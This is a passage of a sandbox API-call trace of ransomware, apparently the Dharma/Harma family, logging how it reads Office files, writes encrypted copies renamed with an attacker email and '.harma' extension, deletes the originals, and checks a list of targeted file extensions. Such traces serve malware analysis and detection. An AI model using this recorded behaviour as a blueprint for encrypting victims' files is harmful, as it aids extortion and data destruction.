lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=13192) returned 1 [0168.662] CloseHandle (hObject=0x21c) returned 1 [0168.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 0x20 [0168.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.663] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.663] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0169.027] GetLastError () returned 0x0 [0169.027] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x3388, lpOverlapped=0x0) returned 1 [0169.146] WriteFile (in: hFile=0x344, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x3390, lpOverlapped=0x0) returned 1 [0169.148] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.148] WriteFile (in: hFile=0x344, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0169.148] SetEndOfFile (hFile=0x344) returned 1 [0169.408] CloseHandle (hObject=0x344) returned 1 [0169.408] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.408] SetEndOfFile (hFile=0x21c) returned 1 [0169.504] CloseHandle (hObject=0x21c) returned 1 [0169.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 1 [0169.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.505] lstrlenW (lpString=".doc") returned 4 [0169.505] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.505] lstrlenW (lpString=".docx") returned 5 [0169.505] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.505] lstrlenW (lpString=".pdf") returned 4 [0169.505] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.505] lstrlenW (lpString=".xls") returned 4 [0169.505] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.505] lstrlenW (lpString=".xlsx") returned 5 [0169.505] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.505] lstrlenW (lpString=".ppt") returned 4 [0169.505] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.506] lstrlenW (lpString=".zip") returned 4 [0169.506] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.506] lstrlenW (lpString=".rar") returned 4 [0169.506] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.506] lstrlenW (lpString=".bz2") returned 4 [0169.506] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.506] lstrlenW (lpString=".7z") returned 3 [0169.506] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.506] lstrlenW (lpString=".dbf") returned 4 [0169.506] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.506] lstrlenW (lpString=".1cd") returned 4 [0169.506] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.506] lstrlenW (lpString=".jpg") returned 4 [0169.506] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.506] lstrlenW (lpString=".doc") returned 4 [0169.506] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0169.506] lstrlenW (lpString=".docx") returned 5 [0169.506] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0169.506] lstrlenW (lpString=".pdf") returned 4 [0169.506] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0169.506] lstrlenW (lpString=".xls") returned 4 [0169.506] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0169.506] lstrlenW (lpString=".xlsx") returned 5 [0169.507] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0169.507] lstrlenW (lpString=".ppt") returned 4 [0169.507] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0169.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.507] lstrlenW (lpString=".zip") returned 4 [0169.507] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0169.507] lstrlenW (lpString=".rar") returned 4 [0169.507] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0169.507] lstrlenW (lpString=".bz2") returned 4 [0169.507] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0169.507] lstrlenW (lpString=".7z") returned 3 [0169.507] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0169.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.507] lstrlenW (lpString=".dbf") returned 4 [0169.507] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0169.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.507] lstrlenW (lpString=".1cd") returned 4 [0169.507] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0169.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0169.507] lstrlenW (lpString=".jpg") returned 4 [0169.507] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0169.507] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0169.507] lstrlenW (lpString="OLAPPTR.FAE") returned 11 [0169.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.508] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=11704) returned 1 [0169.508] CloseHandle (hObject=0x21c) returned 1 [0169.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 0x20 [0169.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0169.509] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.509] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0169.510] GetLastError () returned 0x0 [0169.510] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x2db8, lpOverlapped=0x0) returned 1 [0169.522] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x2dc0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x2dc0, lpOverlapped=0x0) returned 1 [0169.523] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.523] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0169.523] SetEndOfFile (hFile=0x20c) returned 1 [0169.523] CloseHandle (hObject=0x20c) returned 1 [0169.524] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.524] SetEndOfFile (hFile=0x21c) returned 1 [0169.526] CloseHandle (hObject=0x21c) returned 1 [0169.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.527] lstrlenW (lpString=".doc") returned 4 [0169.527] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.527] lstrlenW (lpString=".docx") returned 5 [0169.527] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.527] lstrlenW (lpString=".pdf") returned 4 [0169.527] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.527] lstrlenW (lpString=".xls") returned 4 [0169.527] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.527] lstrlenW (lpString=".xlsx") returned 5 [0169.527] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.527] lstrlenW (lpString=".ppt") returned 4 [0169.527] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.527] lstrlenW (lpString=".zip") returned 4 [0169.527] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.527] lstrlenW (lpString=".rar") returned 4 [0169.527] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.527] lstrlenW (lpString=".bz2") returned 4 [0169.527] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.527] lstrlenW (lpString=".7z") returned 3 [0169.527] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.527] lstrlenW (lpString=".dbf") returned 4 [0169.528] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.528] lstrlenW (lpString=".1cd") returned 4 [0169.528] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.528] lstrlenW (lpString=".jpg") returned 4 [0169.528] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.528] lstrlenW (lpString=".doc") returned 4 [0169.528] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.528] lstrlenW (lpString=".docx") returned 5 [0169.528] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.528] lstrlenW (lpString=".pdf") returned 4 [0169.528] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.528] lstrlenW (lpString=".xls") returned 4 [0169.528] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.529] lstrlenW (lpString=".xlsx") returned 5 [0169.529] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.529] lstrlenW (lpString=".ppt") returned 4 [0169.529] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.529] lstrlenW (lpString=".zip") returned 4 [0169.529] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.529] lstrlenW (lpString=".rar") returned 4 [0169.529] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.529] lstrlenW (lpString=".bz2") returned 4 [0169.529] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.529] lstrlenW (lpString=".7z") returned 3 [0169.529] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.529] lstrlenW (lpString=".dbf") returned 4 [0169.529] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.529] lstrlenW (lpString=".1cd") returned 4 [0169.529] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0169.529] lstrlenW (lpString=".jpg") returned 4 [0169.529] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.529] lstrcmpiW (lpString1=".FAE", lpString2=".harma") returned -1 [0169.529] lstrlenW (lpString="OLMAILR.FAE") returned 11 [0169.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0169.923] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=10160) returned 1 [0169.923] CloseHandle (hObject=0x34c) returned 1 [0169.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 0x20 [0169.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0169.924] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.924] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.925] GetLastError () returned 0x0 [0169.926] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x27b0, lpOverlapped=0x0) returned 1 [0169.962] WriteFile (in: hFile=0x370, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0169.963] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.963] WriteFile (in: hFile=0x370, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0169.963] SetEndOfFile (hFile=0x370) returned 1 [0169.963] CloseHandle (hObject=0x370) returned 1 [0169.964] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.964] SetEndOfFile (hFile=0x34c) returned 1 [0169.966] CloseHandle (hObject=0x34c) returned 1 [0169.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 1 [0169.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.967] lstrlenW (lpString=".doc") returned 4 [0169.967] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.967] lstrlenW (lpString=".docx") returned 5 [0169.967] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.967] lstrlenW (lpString=".pdf") returned 4 [0169.967] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.967] lstrlenW (lpString=".xls") returned 4 [0169.967] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.967] lstrlenW (lpString=".xlsx") returned 5 [0169.967] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.968] lstrlenW (lpString=".ppt") returned 4 [0169.968] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.968] lstrlenW (lpString=".zip") returned 4 [0169.968] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.968] lstrlenW (lpString=".rar") returned 4 [0169.968] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.968] lstrlenW (lpString=".bz2") returned 4 [0169.968] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.968] lstrlenW (lpString=".7z") returned 3 [0169.968] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.968] lstrlenW (lpString=".dbf") returned 4 [0169.968] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.968] lstrlenW (lpString=".1cd") returned 4 [0169.968] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.968] lstrlenW (lpString=".jpg") returned 4 [0169.968] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.968] lstrlenW (lpString=".doc") returned 4 [0169.968] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0169.968] lstrlenW (lpString=".docx") returned 5 [0169.968] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0169.969] lstrlenW (lpString=".pdf") returned 4 [0169.969] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0169.969] lstrlenW (lpString=".xls") returned 4 [0169.969] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0169.969] lstrlenW (lpString=".xlsx") returned 5 [0169.969] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0169.969] lstrlenW (lpString=".ppt") returned 4 [0169.969] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0169.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.969] lstrlenW (lpString=".zip") returned 4 [0169.969] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0169.969] lstrlenW (lpString=".rar") returned 4 [0169.969] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0169.969] lstrlenW (lpString=".bz2") returned 4 [0169.969] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0169.969] lstrlenW (lpString=".7z") returned 3 [0169.969] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0169.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.969] lstrlenW (lpString=".dbf") returned 4 [0169.969] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0169.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.969] lstrlenW (lpString=".1cd") returned 4 [0169.969] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0169.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0169.969] lstrlenW (lpString=".jpg") returned 4 [0169.969] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0169.970] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0169.970] lstrlenW (lpString="DESKSAM.SAM") returned 11 [0169.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0169.970] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=23424) returned 1 [0169.970] CloseHandle (hObject=0x34c) returned 1 [0169.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 0x20 [0169.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft 